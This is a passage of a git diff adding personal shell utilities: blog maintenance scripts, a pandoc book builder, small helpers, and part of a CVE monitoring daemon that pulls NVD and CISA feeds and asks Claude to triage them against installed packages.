+tmp=${TMPDIR:-.}/blog-backlinks.$$ +trap 'rm -f "$tmp"' EXIT HUP INT TERM + +find . \( -path '*/.git' -o -path '*/node_modules' -o -path '*/.next' -o -path '*/_site' \) -prune -o -type f \( -name '*.md' -o -name '*.mdx' -o -name '*.org' \) -print > "$tmp" + +while IFS= read -r target; do + slug=$(basename "$target" | sed -e 's/\.[^.]*$//' -e 's/^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]-//') + [ -n "$slug" ] || continue + hits=$(xargs -r rg -l --fixed-strings "$slug" < "$tmp" | grep -Fv -- "$target" || true) + [ -n "$hits" ] || continue + printf '## %s\n\n' "$target" + printf '%s\n\n' "$hits" | sed 's/^/- /' +done < "$tmp" diff --git a/.local/bin/blog-build-check b/.local/bin/blog-build-check new file mode 100755 index 0000000000000000000000000000000000000000..30bdb5e42c6523b81be585160aed88a869528a31 --- /dev/null +++ b/.local/bin/blog-build-check @@ -0,0 +1,21 @@ +#!/usr/bin/env sh +set -eu + +run_if() { + if command -v "$1" >/dev/null 2>&1; then + printf '\n== %s ==\n' "$*" + "$@" || return 1 + fi +} + +[ -f package.json ] && run_if npm run lint || true +[ -f package.json ] && run_if npm test || true +[ -f package.json ] && run_if npm run build || true +[ -f Makefile ] && run_if make check || true +[ -f Makefile ] && run_if make build || true +[ -f hugo.toml ] || [ -f config.toml ] && run_if hugo --printPathWarnings --printUnusedTemplates || true +[ -f _config.yml ] && run_if bundle exec jekyll build || true +run_if blog-frontmatter || true +run_if blog-future-dates || true +run_if blog-rss-check || true +run_if blog-stats || true diff --git a/.local/bin/blog-draft-index b/.local/bin/blog-draft-index new file mode 100755 index 0000000000000000000000000000000000000000..7411821d77472ea215a8f01c89d88bcb19d1a495 --- /dev/null +++ b/.local/bin/blog-draft-index @@ -0,0 +1,10 @@ +#!/usr/bin/env sh +set -eu + +find . \( -path '*/.git' -o -path '*/node_modules' -o -path '*/.next' -o -path '*/_site' \) -prune -o -type f \( -path '*/drafts/*' -o -name '*draft*.md' -o -name '*draft*.mdx' \) -print | +while IFS= read -r f; do + words=$(wc -w < "$f" | tr -d ' ') + title=$(sed -n -e 's/^title:[[:space:]]*//p' -e 's/^# //p' "$f" | sed -n '1p') + todos=$(rg -c 'TK|TODO|FIXME|XXX|SOURCE\?' "$f" 2>/dev/null || true) + printf '%7s words %3s flags %s %s\n' "$words" "${todos:-0}" "$f" "$title" +done | sort -nr diff --git a/.local/bin/blog-frontmatter b/.local/bin/blog-frontmatter new file mode 100755 index 0000000000000000000000000000000000000000..9143b4765bde60c25362209c25e7fc8811c21b90 --- /dev/null +++ b/.local/bin/blog-frontmatter @@ -0,0 +1,34 @@ +#!/usr/bin/env sh +set -eu + +status=0 +fields=${BLOG_REQUIRED_FIELDS:-title date} +tmp=${TMPDIR:-.}/blog-frontmatter.$$ +trap 'rm -f "$tmp"' EXIT HUP INT TERM + +if [ "$#" -gt 0 ]; then + printf '%s\n' "$@" > "$tmp" +else + : > "$tmp" + for d in content posts post blog notes garden essays articles src/content src/pages _posts pages; do + [ -d "$d" ] || continue + find "$d" -type f \( -name '*.md' -o -name '*.mdx' \) >> "$tmp" + done +fi + +while IFS= read -r f; do + first=$(sed -n '1p' "$f") + if [ "$first" != "---" ]; then + printf 'missing frontmatter: %s\n' "$f" + status=1 + continue + fi + for field in $fields; do + if ! sed -n '1,/^---$/p' "$f" | rg -q "^$field:"; then + printf 'missing %s: %s\n' "$field" "$f" + status=1 + fi + done +done < "$tmp" + +exit "$status" diff --git a/.local/bin/blog-future-dates b/.local/bin/blog-future-dates new file mode 100755 index 0000000000000000000000000000000000000000..c33da315918e7b5c93d8753a26ff447d9547fec5 --- /dev/null +++ b/.local/bin/blog-future-dates @@ -0,0 +1,29 @@ +#!/usr/bin/env sh +set -eu + +today=$(date -u +%F) +allow=${BLOG_ALLOW_FUTURE_DATES:-} +status=0 +tmp=${TMPDIR:-.}/blog-future-dates.$$ +trap 'rm -f "$tmp"' EXIT HUP INT TERM + +if [ "$#" -gt 0 ]; then + printf '%s\n' "$@" > "$tmp" +else + : > "$tmp" + for d in content posts post blog notes garden essays articles src/content src/pages _posts pages; do + [ -d "$d" ] || continue + find "$d" -type f \( -name '*.md' -o -name '*.mdx' \) >> "$tmp" + done +fi + +while IFS= read -r f; do + date_value=$(sed -n '1,/^---$/s/^\(date\|published\|start_date\):[[:space:]]*["'\'']*\([0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]\).*/\2/p' "$f" | sed -n '1p') + [ -n "$date_value" ] || continue + if [ "$date_value" \> "$today" ] && [ "$allow" != "1" ]; then + printf 'future date: %s %s\n' "$date_value" "$f" + status=1 + fi +done < "$tmp" + +exit "$status" diff --git a/.local/bin/blog-linkrot b/.local/bin/blog-linkrot new file mode 100755 index 0000000000000000000000000000000000000000..b30e3e9f770d0dc5b852624f8c931e45e446f8bd --- /dev/null +++ b/.local/bin/blog-linkrot @@ -0,0 +1,15 @@ +#!/usr/bin/env sh +set -eu + +blog-links "$@" | cut -f1 | sort -u | +while IFS= read -r url; do + [ -n "$url" ] || continue + code=$(curl -LIs --max-time 15 --user-agent 'blog-linkrot/1.0' "$url" 2>/dev/null | awk '/^HTTP/{c=$2} END{print c}') + if [ -z "$code" ] || [ "$code" = "405" ]; then + code=$(curl -Ls -o /dev/null -w '%{http_code}' --max-time 20 --user-agent 'blog-linkrot/1.0' "$url" 2>/dev/null || true) + fi + case "$code" in + 2*|3*) printf 'ok %s %s\n' "$code" "$url" ;; + *) printf 'bad %s %s\n' "${code:-000}" "$url" ;; + esac +done diff --git a/.local/bin/blog-links b/.local/bin/blog-links new file mode 100755 index 0000000000000000000000000000000000000000..8acbe7918c9abb8c61dc2f3bcd477b69f53d0b5e --- /dev/null +++ b/.local/bin/blog-links @@ -0,0 +1,13 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -eq 0 ]; then + set -- $(find . \( -path '*/.git' -o -path '*/node_modules' -o -path '*/.next' -o -path '*/_site' \) -prune -o -type f \( -name '*.md' -o -name '*.mdx' -o -name '*.org' -o -name '*.html' -o -name '*.txt' \) -print) +fi + +for f in "$@"; do + [ -f "$f" ] || continue + rg -o 'https?://[^\]\[()<>"'\''[:space:]]+' "$f" 2>/dev/null | + sed -e 's/[),.;]*$//' -e 's/#.*$//' | + awk -v file="$f" '{print $0 "\t" file}' +done diff --git a/.local/bin/blog-new b/.local/bin/blog-new new file mode 100755 index 0000000000000000000000000000000000000000..a1c14e14c2ceee2df86966ae0b5e41c774b49ee9 --- /dev/null +++ b/.local/bin/blog-new @@ -0,0 +1,31 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -lt 1 ]; then + printf 'usage: blog-new "Title" [directory]\n' >&2 + exit 2 +fi + +title=$1 +dir=${2:-content/drafts} +date=$(date +%F) +slug=$(printf '%s' "$title" | tr '[:upper:]' '[:lower:]' | sed -e 's/[^a-z0-9]/-/g' -e 's/-\{2,\}/-/g' -e 's/^-//' -e 's/-$//') +file="$dir/$date-$slug.md" + +mkdir -p "$dir" +if [ -e "$file" ]; then + printf 'exists: %s\n' "$file" >&2 + exit 1 +fi + +{ + printf '%s\n' '---' + printf 'title: "%s"\n' "$title" + printf 'date: %s\n' "$date" + printf 'status: draft\n' + printf 'tags: []\n' + printf '%s\n\n' '---' + printf '# %s\n\n' "$title" +} > "$file" + +printf '%s\n' "$file" diff --git a/.local/bin/blog-rss-check b/.local/bin/blog-rss-check new file mode 100755 index 0000000000000000000000000000000000000000..a972214f928166e9df6b759a71c8207e0d3130d8 --- /dev/null +++ b/.local/bin/blog-rss-check @@ -0,0 +1,15 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -eq 0 ]; then + set -- $(find . -type f \( -name '*.xml' -o -name '*.atom' -o -name 'feed*' -o -name 'rss*' \) -not -path '*/node_modules/*' -not -path '*/.git/*') +fi + +for f in "$@"; do + [ -f "$f" ] || continue + if command -v xmllint >/dev/null 2>&1; then + xmllint --noout "$f" && printf 'ok %s\n' "$f" + else + python3 -c 'import sys, xml.etree.ElementTree as ET; ET.parse(sys.argv[1])' "$f" && printf 'ok %s\n' "$f" + fi +done diff --git a/.local/bin/blog-screenshot b/.local/bin/blog-screenshot new file mode 100755 index 0000000000000000000000000000000000000000..790a3759445627158b088d61c20bd966b1ffbfe8 --- /dev/null +++ b/.local/bin/blog-screenshot @@ -0,0 +1,22 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -lt 1 ]; then + printf 'usage: blog-screenshot URL [output.png]\n' >&2 + exit 2 +fi + +url=$1 +out=${2:-"screenshots/$(printf '%s' "$url" | sed -e 's#^https\?://##' -e 's#[^A-Za-z0-9._-]#-#g' -e 's#-*$##').png"} +mkdir -p "$(dirname "$out")" + +if command -v shot-scraper >/dev/null 2>&1; then + shot-scraper "$url" -o "$out" +elif command -v npx >/dev/null 2>&1; then + npx --yes playwright screenshot "$url" "$out" +else + printf 'Need shot-scraper or npx playwright.\n' >&2 + exit 1 +fi + +printf '%s\n' "$out" diff --git a/.local/bin/blog-stats b/.local/bin/blog-stats new file mode 100755 index 0000000000000000000000000000000000000000..2b186d86714f61ac96df249c8fc401560bac2077 --- /dev/null +++ b/.local/bin/blog-stats @@ -0,0 +1,19 @@ +#!/usr/bin/env sh +set -eu + +files=$(find . \( -path '*/.git' -o -path '*/node_modules' -o -path '*/.next' -o -path '*/_site' \) -prune -o -type f \( -name '*.md' -o -name '*.mdx' -o -name '*.org' \) -print) +count=$(printf '%s\n' "$files" | sed '/^$/d' | wc -l | tr -d ' ') +words=$(printf '%s\n' "$files" | xargs -r wc -w | awk 'END{print $1+0}') +links=$(printf '%s\n' "$files" | xargs -r rg --no-filename -o 'https?://[^\]\[()<>"'\''[:space:]]+' 2>/dev/null | wc -l | tr -d ' ') +domains=$(printf '%s\n' "$files" | xargs -r rg --no-filename -o 'https?://[^\]\[()<>"'\''[:space:]]+' 2>/dev/null | awk -F/ '{print $3}' | sort -u | wc -l | tr -d ' ') +todos=$(printf '%s\n' "$files" | xargs -r rg -n 'TK|TODO|FIXME|XXX|SOURCE\?' 2>/dev/null | wc -l | tr -d ' ') + +printf 'posts: %s\n' "$count" +printf 'words: %s\n' "$words" +printf 'links: %s\n' "$links" +printf 'domains: %s\n' "$domains" +printf 'flags: %s\n' "$todos" + +printf '\nTop domains:\n' +printf '%s\n' "$files" | xargs -r rg --no-filename -o 'https?://[^\]\[()<>"'\''[:space:]]+' 2>/dev/null | + awk -F/ '{print $3}' | sed 's/^www\.//' | sort | uniq -c | sort -nr | sed -n '1,25p' diff --git a/.local/bin/blog-title b/.local/bin/blog-title new file mode 100755 index 0000000000000000000000000000000000000000..1371390dfa391549fd15621add89fc05abad5040 --- /dev/null +++ b/.local/bin/blog-title @@ -0,0 +1,17 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -ne 1 ]; then + printf 'usage: blog-title URL\n' >&2 + exit 2 +fi + +url=$1 +if command -v pup >/dev/null 2>&1; then + curl -Lfs --max-time 20 "$url" | pup 'title text{}' | sed -e 's/[[:space:]]\+/ /g' -e 's/^ //' -e 's/ $//' +else + curl -Lfs --max-time 20 "$url" | + tr '\n' ' ' | + sed -n 's/.*<title[^>]*>\(.*\)<\/title>.*/\1/p' | + sed -e 's/&/\&/g' -e 's/[[:space:]]\+/ /g' -e 's/^ //' -e 's/ $//' +fi diff --git a/.local/bin/bookcompile b/.local/bin/bookcompile new file mode 100755 index 0000000000000000000000000000000000000000..24436ec29db474bd54dc3ec06b99b9589e84ad64 --- /dev/null +++ b/.local/bin/bookcompile @@ -0,0 +1,68 @@ +#!/usr/bin/env bash +# bookcompile -- multi-format book build (PDF + EPUB + DOCX) +set -euo pipefail + +usage() { + echo "Usage: bookcompile <chapters-dir> [--title TITLE] [--author AUTHOR] [--cover cover.jpg]" + echo "" + echo "Expects chapters-dir/ containing numbered .md files (01-intro.md, 02-body.md, ...)" + exit 1 +} + +[ $# -lt 1 ] && usage + +dir="$1"; shift +title="" author="" cover="" + +while [ $# -gt 0 ]; do + case "$1" in + --title) title="$2"; shift 2 ;; + --author) author="$2"; shift 2 ;; + --cover) cover="$2"; shift 2 ;; + *) echo "Unknown option: $1"; usage ;; + esac +done + +chapters=$(ls "$dir"/*.md 2>/dev/null | sort -V) +[ -z "$chapters" ] && { echo "No .md files in $dir"; exit 1; } + +mkdir -p build + +meta=() +[ -n "$title" ] && meta+=(--metadata "title=$title") +[ -n "$author" ] && meta+=(--metadata "author=$author") + +# Count words first +total_words=$(cat $chapters | wc -w) +echo "Source: $(echo "$chapters" | wc -l) files, $total_words words" +echo "" + +# PDF (print-ready) +echo "Building PDF..." +pdf_args=(--pdf-engine=xelatex -V geometry:margin=1in -V fontsize:12pt -V linestretch:1.5 --toc) +pandoc $chapters "${meta[@]}" "${pdf_args[@]}" -o build/manuscript.pdf 2>/dev/null && \ + echo " build/manuscript.pdf ($(du -h build/manuscript.pdf | cut -f1))" || \ + echo " PDF failed (is xelatex installed?)" + +# EPUB +echo "Building EPUB..." +epub_args=(-t epub3 --toc --toc-depth=2) +[ -n "$cover" ] && epub_args+=(--epub-cover-image="$cover") +pandoc $chapters "${meta[@]}" "${epub_args[@]}" -o build/manuscript.epub 2>/dev/null && \ + echo " build/manuscript.epub ($(du -h build/manuscript.epub | cut -f1))" || \ + echo " EPUB failed" + +# DOCX +echo "Building DOCX..." +pandoc $chapters "${meta[@]}" -o build/manuscript.docx 2>/dev/null && \ + echo " build/manuscript.docx ($(du -h build/manuscript.docx | cut -f1))" || \ + echo " DOCX failed" + +# HTML (standalone) +echo "Building HTML..." +pandoc $chapters "${meta[@]}" --standalone --toc -o build/manuscript.html 2>/dev/null && \ + echo " build/manuscript.html ($(du -h build/manuscript.html | cut -f1))" || \ + echo " HTML failed" + +echo "" +echo "Done. Output in build/" diff --git a/.local/bin/compare-drafts b/.local/bin/compare-drafts new file mode 100755 index 0000000000000000000000000000000000000000..858b65b65f1ec1719183ab6fffeffa8894bd5409 --- /dev/null +++ b/.local/bin/compare-drafts @@ -0,0 +1,22 @@ +#!/usr/bin/env bash +# compare-drafts -- compare two manuscript versions +set -euo pipefail +old="${1:?Usage: compare-drafts <old.md> <new.md>}" +new="${2:?Usage: compare-drafts <old.md> <new.md>}" + +echo "=== WORD COUNT ===" +old_wc=$(wc -w < "$old") +new_wc=$(wc -w < "$new") +diff_wc=$((new_wc - old_wc)) +echo "Old: $old_wc | New: $new_wc | Net: $diff_wc" + +echo "" +echo "=== WORD-LEVEL DIFF (first 80 lines) ===" +git diff --no-index --word-diff=color "$old" "$new" 2>/dev/null | head -80 || true + +echo "" +if command -v pandiff &>/dev/null; then + echo "=== GENERATING TRACK CHANGES DOCX ===" + pandiff "$old" "$new" -o "changes-$(date +%Y%m%d).docx" + echo "Created changes-$(date +%Y%m%d).docx" +fi diff --git a/.local/bin/cr b/.local/bin/cr new file mode 100755 index 0000000000000000000000000000000000000000..0a49e2a3a3dbb50a97d27a1414eb6c834ebdba6a --- /dev/null +++ b/.local/bin/cr @@ -0,0 +1,46 @@ +#!/bin/sh +# cr -- compile and run. Detects language from extension. +# Usage: cr file.c [args...] +# cr file.cpp [args...] +# cr file.go [args...] +# cr file.rs [args...] +# cr file.py [args...] + +file="$1"; shift +[ -z "$file" ] && { echo "Usage: cr <file> [args...]"; exit 1; } +[ ! -f "$file" ] && { echo "File not found: $file"; exit 1; } + +ext="${file##*.}" +base="${file%.*}" + +case "$ext" in + c) + cc -std=c11 -Wall -Wextra -Wpedantic -g -O0 \ + -fsanitize=address,undefined "$file" -o "$base" -lm && "./$base" "$@" + ;; + cpp|cc|cxx) + g++ -std=c++17 -O2 -Wall -Wextra "$file" -o "$base" && "./$base" "$@" + ;; + go) + go run "$file" "$@" + ;; + rs) + rustc "$file" -o "$base" && "./$base" "$@" + ;; + py) + python3 "$file" "$@" + ;; + sh) + sh "$file" "$@" + ;; + js) + node "$file" "$@" + ;; + ts) + npx tsx "$file" "$@" + ;; + *) + echo "Unknown extension: .$ext" + exit 1 + ;; +esac diff --git a/.local/bin/crossword b/.local/bin/crossword new file mode 100755 index 0000000000000000000000000000000000000000..a821c797c3f3d8d12f1de716941fa2565f3560c7 --- /dev/null +++ b/.local/bin/crossword @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# crossword -- pattern match, _ = unknown letter +# Usage: crossword "c_t" -> cat, cot, cut, ... +pattern="${1:?Usage: crossword 'c_t'}" +regex="^${pattern//_/.}$" +grep -ix "$regex" /usr/share/dict/words diff --git a/.local/bin/cve b/.local/bin/cve new file mode 100755 index 0000000000000000000000000000000000000000..ae3fc28ba85e9e9a5aa6622e072c2887d237f24f --- /dev/null +++ b/.local/bin/cve @@ -0,0 +1,537 @@ +#!/bin/sh +# cve -- CVE notification daemon for dunst + claude triage + email alerting +# Install: ln -sf ~/dev/omniscient/scripts/cve ~/.local/bin/cve +# +# Two cron modes: +# 0 */1 * * * ~/.local/bin/cve --deep # hourly: claude triage + email on affected +# 0 */6 * * * ~/.local/bin/cve --scan # every 6h: dunst notifications only +# +# Manual: +# cve # interactive: dunst + claude triage +# cve --deep # hourly mode: claude triage, email if affected, no dunst +# cve --scan # 6h mode: dunst notifications only, no claude +# cve --list # print recent CVEs to stdout +# cve --triage # show all triage results +# cve --history # show notification log + +# no set -e: jq may exit non-zero on individual CVEs with bad data + +# ============================================================================ +# CONFIG +# ============================================================================ + +CVE_DIR="$HOME/.local/share/cve" +CVE_DB="$CVE_DIR/seen.json" +CVE_LOG="$CVE_DIR/cve.log" +CVE_TRIAGE="$CVE_DIR/triage" +PACKAGES_CACHE="$CVE_DIR/packages.txt" +KERNEL_VER="$(uname -r)" +EMAIL_TO="krisyotam@gmail.com" + +# how many hours back to check (overridden per mode below) +HOURS_BACK=4 + +# severity filter: LOW, MEDIUM, HIGH, CRITICAL +MIN_SEVERITY="HIGH" + +# NVD API (no key needed for low-rate, but add one for higher limits) +# Get a key at https://nvd.nist.gov/developers/request-an-api-key +NVD_API_KEY="" +NVD_BASE="https://services.nvd.nist.gov/rest/json/cves/2.0" + +# CISA KEV (Known Exploited Vulnerabilities) -- actively exploited in the wild +CISA_KEV="https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" + +# ============================================================================ +# INIT +# ============================================================================ + +mkdir -p "$CVE_DIR" "$CVE_TRIAGE" + +# initialize seen db if missing +if [ ! -f "$CVE_DB" ]; then + echo '{"seen":[],"triaged":[]}' > "$CVE_DB" +fi + +log() { printf '[%s] %s\n' "$(date '+%Y-%m-%d %H:%M')" "$1" >> "$CVE_LOG"; } +notify() { + urgency="${2:-normal}" + dunstify -u "$urgency" -t 15000 -a "CVE Monitor" "CVE Alert" "$1" 2>/dev/null || true +} + +# ============================================================================ +# DEPENDENCY INVENTORY +# ============================================================================ + +DEPS_CACHE="$CVE_DIR/deps.txt" +DEPS_NAMES="$CVE_DIR/deps-names.txt" +DEPS_SCRIPT="$HOME/.local/bin/deps" + +# populate deps cache once per run +refresh_deps() { + if [ -x "$DEPS_SCRIPT" ]; then + "$DEPS_SCRIPT" > "$DEPS_CACHE" 2>/dev/null + else + pacman -Q 2>/dev/null | awk '{printf "%s\t%s\tpacman\n", $1, $2}' > "$DEPS_CACHE" + fi + # extract just lowercased names for fast matching + awk -F'\t' '{print tolower($1)}' "$DEPS_CACHE" | sort -u > "$DEPS_NAMES" +} + +# check if a CVE's affected products match any local dep +# sets MATCHED_PKGS with "name version (source)" lines +# returns 0 if match found, 1 otherwise +matches_local() { + _ml_vuln="$1" + MATCHED_PKGS="" + + # extract CPE product names from configurations + _ml_products=$(printf '%s' "$_ml_vuln" | jq -r ' + [.cve.configurations[]?.nodes[]?.cpeMatch[]?.criteria // empty] | + map(split(":") | if length > 4 then .[3] + "\n" + .[4] else empty end) | + unique | join("\n") + ' 2>/dev/null | tr '[:upper:]' '[:lower:]' | grep -v '^$' | sort -u) + + if [ -n "$_ml_products" ]; then + _ml_matches="" + echo "$_ml_products" | while IFS= read -r prod; do + [ -z "$prod" ] && continue + grep -iF "$prod" "$DEPS_CACHE" 2>/dev/null | awk -F'\t' '{printf "%s %s (%s)\n", $1, $2, $3}' + done | sort -u > "$CVE_DIR/.matched_tmp" 2>/dev/null + + if [ -s "$CVE_DIR/.matched_tmp" ]; then + MATCHED_PKGS=$(cat "$CVE_DIR/.matched_tmp") + rm -f "$CVE_DIR/.matched_tmp" + return 0 + fi + rm -f "$CVE_DIR/.matched_tmp" + fi + + return 1 +} + +# legacy: still needed for claude triage prompt +refresh_packages() { + cp "$DEPS_CACHE" "$PACKAGES_CACHE" 2>/dev/null || refresh_deps +} + +# ============================================================================ +# CVE FETCHING +# ============================================================================ + +fetch_nvd_to_file() { + outfile="$1" + now_utc=$(date -u '+%Y-%m-%dT%H:%M:%S.000') + past_utc=$(date -u -d "-${HOURS_BACK} hours" '+%Y-%m-%dT%H:%M:%S.000' 2>/dev/null || \ + date -u -v-${HOURS_BACK}H '+%Y-%m-%dT%H:%M:%S.000' 2>/dev/null || \ + echo "") + + [ -z "$past_utc" ] && { log "Cannot compute date offset"; return 1; } + + url="${NVD_BASE}?pubStartDate=${past_utc}&pubEndDate=${now_utc}" + + # fetch to temp, sanitize through python (NVD returns invalid escapes), write to outfile + fetch_tmp=$(mktemp "$CVE_DIR/fetch.XXXXXX") + if [ -n "$NVD_API_KEY" ]; then + curl -sf --max-time 30 -H "apiKey: $NVD_API_KEY" "$url" -o "$fetch_tmp" 2>/dev/null || { log "NVD fetch failed"; rm -f "$fetch_tmp"; return 1; } + else + curl -sf --max-time 30 "$url" -o "$fetch_tmp" 2>/dev/null || { log "NVD fetch failed"; rm -f "$fetch_tmp"; return 1; } + fi + + # sanitize JSON (NVD sometimes has invalid escape sequences) + python3 -c "import sys,json; json.dump(json.load(open(sys.argv[1])),open(sys.argv[2],'w'))" "$fetch_tmp" "$outfile" 2>/dev/null || { + # fallback: just copy raw and hope jq handles it + cp "$fetch_tmp" "$outfile" + } + rm -f "$fetch_tmp" +} + +fetch_cisa_kev_to_file() { + outfile="$1" + fetch_tmp=$(mktemp "$CVE_DIR/kevfetch.XXXXXX") + curl -sf --max-time 60 "$CISA_KEV" -o "$fetch_tmp" 2>/dev/null || { log "CISA KEV fetch failed"; rm -f "$fetch_tmp"; return 1; } + python3 -c " +import sys,json +with open(sys.argv[1]) as f: + raw = f.read() +# strip control chars that break jq +clean = ''.join(c if ord(c) >= 32 or c in '\n\r\t' else ' ' for c in raw) +d = json.loads(clean) +with open(sys.argv[2],'w') as out: + json.dump(d, out, ensure_ascii=True) +" "$fetch_tmp" "$outfile" 2>/dev/null || cp "$fetch_tmp" "$outfile" + rm -f "$fetch_tmp" +} + +# ============================================================================ +# PARSE + FILTER +# ============================================================================ + +parse_nvd() { + raw="$1" + [ -z "$raw" ] && return + + echo "$raw" | jq -r ' + .vulnerabilities[]? | + { + id: .cve.id, + description: (.cve.descriptions[]? | select(.lang == "en") | .value), + severity: (.cve.metrics.cvssMetricV31[]?.cvssData.baseSeverity // .cve.metrics.cvssMetricV30[]?.cvssData.baseSeverity // "UNKNOWN"), + score: (.cve.metrics.cvssMetricV31[]?.cvssData.baseScore // .cve.metrics.cvssMetricV30[]?.cvssData.baseScore // 0), + published: .cve.published, + references: [.cve.references[]?.url] | join(" ") + } + ' 2>/dev/null || true +} + +parse_cisa_new() { + raw="$1" + today=$(date '+%Y-%m-%d') + yesterday=$(date -d '-1 day' '+%Y-%m-%d' 2>/dev/null || date -v-1d '+%Y-%m-%d' 2>/dev/null || echo "$today") + + echo "$raw" | jq -r --arg today "$today" --arg yesterday "$yesterday" ' + .vulnerabilities[]? | + select(.dateAdded >= $yesterday) | + { + id: .cveID, + description: .shortDescription, + severity: "CRITICAL-KEV", + score: 10, + published: .dateAdded, + references: .notes + } + ' 2>/dev/null || true +} + +is_seen() { + _is_id="$1" + jq -r --arg id "$_is_id" '.seen[] | select(. == $id)' "$CVE_DB" 2>/dev/null | grep -q . +} + +mark_seen() { + _mk_id="$1" + _mk_tmp=$(mktemp "$CVE_DIR/tmp.XXXXXX") + jq --arg id "$_mk_id" '.seen += [$id] | .seen |= unique' "$CVE_DB" > "$_mk_tmp" && mv "$_mk_tmp" "$CVE_DB" +} + +# ============================================================================ +# TRIAGE WITH CLAUDE +# ============================================================================ + +triage_cve() { + cveid="$1" + desc="$2" + severity="$3" + score="$4" + + triage_file="$CVE_TRIAGE/${cveid}.json" + [ -f "$triage_file" ] && return 0 + + refresh_packages + + prompt="You are a security triage assistant. Analyze this CVE against the system inventory below. + +CVE: $cveid +Severity: $severity (Score: $score) +Description: $desc + +SYSTEM INVENTORY: +$(cat "$PACKAGES_CACHE") + +TASK: +1. Determine if this CVE affects ANY package, service, kernel version, or language runtime on this system. +2. If YES: respond with EXACTLY this JSON (no markdown, no backticks): + {\"affected\": true, \"package\": \"<name>\", \"installed_version\": \"<ver>\", \"action\": \"<what to do>\", \"urgency\": \"immediate|soon|monitor\"} +3. If NO: respond with EXACTLY this JSON: + {\"affected\": false, \"reason\": \"<why not>\"} + +Be conservative -- if uncertain, say affected. Better a false positive than a missed vuln." + + result=$(echo "$prompt" | claude -p --model haiku 2>/dev/null) || { log "Claude triage failed for $cveid"; return 1; } + + # extract JSON from response (claude might wrap it) + json=$(echo "$result" | grep -o '{.*}' | head -1) + [ -z "$json" ] && { log "No JSON in triage response for $cveid"; return 1; } + + echo "$json" > "$triage_file" + + # check if affected + affected=$(echo "$json" | jq -r '.affected' 2>/dev/null) + if [ "$affected" = "true" ]; then + pkg=$(echo "$json" | jq -r '.package // "unknown"' 2>/dev/null) + action=$(echo "$json" | jq -r '.action // "investigate"' 2>/dev/null) + urgency=$(echo "$json" | jq -r '.urgency // "monitor"' 2>/dev/null) + + # notify via dunst with critical urgency + notify "$cveid AFFECTS $pkg -- $action" "critical" + log "AFFECTED: $cveid -> $pkg ($urgency)" + + # email alert + email_body="CVE ALERT: $cveid affects your system + +Severity: $severity (Score: $score) +Package: $pkg +Action: $action +Urgency: $urgency + +Description: $desc + +Triage output: +$json + +-- CVE Monitor (omniscient)" + + echo "$email_body" | "$HOME/.local/bin/email" -s "CVE ALERT: $cveid affects $pkg [$urgency]" "$EMAIL_TO" 2>/dev/null || log "Email failed for $cveid" + + return 0 + fi + + log "NOT AFFECTED: $cveid" + return 0 +} + +# ============================================================================ +# MAIN MODES +# ============================================================================ + +# mode: "deep" = claude triage + email (hourly cron) +# "scan" = dunst only (6h cron) +# "interactive" = both dunst + claude (manual run) +do_check() { + mode="${1:-interactive}" + + # set time window per mode (with overlap buffer) + case "$mode" in + deep) HOURS_BACK=2; use_dunst=false; use_claude=true ;; + scan) HOURS_BACK=8; use_dunst=true; use_claude=false ;; + interactive) HOURS_BACK=4; use_dunst=true; use_claude=true ;; + esac + + log "Starting CVE check (mode=$mode, hours_back=$HOURS_BACK, min_severity=$MIN_SEVERITY)" + + # build local deps inventory for matching + refresh_deps + dep_count=$(wc -l < "$DEPS_NAMES" | tr -d ' ') + log "Loaded $dep_count local deps for matching" + + new_count=0 + notify_count=0 + nvd_tmp=$(mktemp "$CVE_DIR/nvd.XXXXXX") + nvd_raw_file=$(mktemp "$CVE_DIR/raw.XXXXXX") + + # fetch from NVD directly to file (too large for shell variables) + fetch_nvd_to_file "$nvd_raw_file" + + if [ -s "$nvd_raw_file" ] && jq -e '.vulnerabilities' "$nvd_raw_file" >/dev/null 2>&1; then + total=$(jq '.totalResults // 0' "$nvd_raw_file" 2>/dev/null) + log "NVD returned $total CVEs" + + # pre-filter: only CRITICAL severity from NVD + jq -c ' + .vulnerabilities[]? | + . as $v | + ($v.cve.metrics.cvssMetricV40[0]?.cvssData.baseSeverity // + $v.cve.metrics.cvssMetricV31[0]?.cvssData.baseSeverity // + $v.cve.metrics.cvssMetricV30[0]?.cvssData.baseSeverity // + "UNKNOWN") as $sev | + if ($sev == "CRITICAL" or $sev == "HIGH") then $v + else empty end + ' "$nvd_raw_file" 2>/dev/null > "$nvd_tmp" + + filtered=$(wc -l < "$nvd_tmp" | tr -d ' ') + log "After severity filter: $filtered CVEs (HIGH+CRITICAL)" + + while IFS= read -r vuln; do + cveid=$(printf '%s' "$vuln" | jq -r '.cve.id' 2>/dev/null) + [ -z "$cveid" ] || [ "$cveid" = "null" ] && continue + + if is_seen "$cveid"; then + continue + fi + + severity=$(printf '%s' "$vuln" | jq -r '(.cve.metrics.cvssMetricV40[0]?.cvssData.baseSeverity // .cve.metrics.cvssMetricV31[0]?.cvssData.baseSeverity // .cve.metrics.cvssMetricV30[0]?.cvssData.baseSeverity // "UNKNOWN")' 2>/dev/null) + score=$(printf '%s' "$vuln" | jq -r '(.cve.metrics.cvssMetricV40[0]?.cvssData.baseScore // .cve.metrics.cvssMetricV31[0]?.cvssData.baseScore // .cve.metrics.cvssMetricV30[0]?.cvssData.baseScore // 0)' 2>/dev/null) + desc=$(printf '%s' "$vuln" | jq -r '[.cve.descriptions[]? | select(.lang == "en") | .value][0] // ""' 2>/dev/null) + + mark_seen "$cveid" + new_count=$((new_count + 1)) + + # check if this CVE affects local system + is_local=false + if matches_local "$vuln"; then + is_local=true + fi + + short_desc=$(printf '%.120s' "$desc") + + # build affected line from matched packages + affected_line="" + if [ "$is_local" = "true" ] && [ -n "$MATCHED_PKGS" ]; then + affected_line=$(echo "$MATCHED_PKGS" | tr '\n' ', ' | sed 's/, $//') + fi + + # notify logic: only CRITICAL or locally-matching CVEs + if [ "$severity" = "CRITICAL" ] && [ "$is_local" = "true" ]; then + if [ "$use_dunst" = "true" ]; then + notify "LOCAL: $cveid ($score) CRITICAL\n$short_desc\naffected: $affected_line" 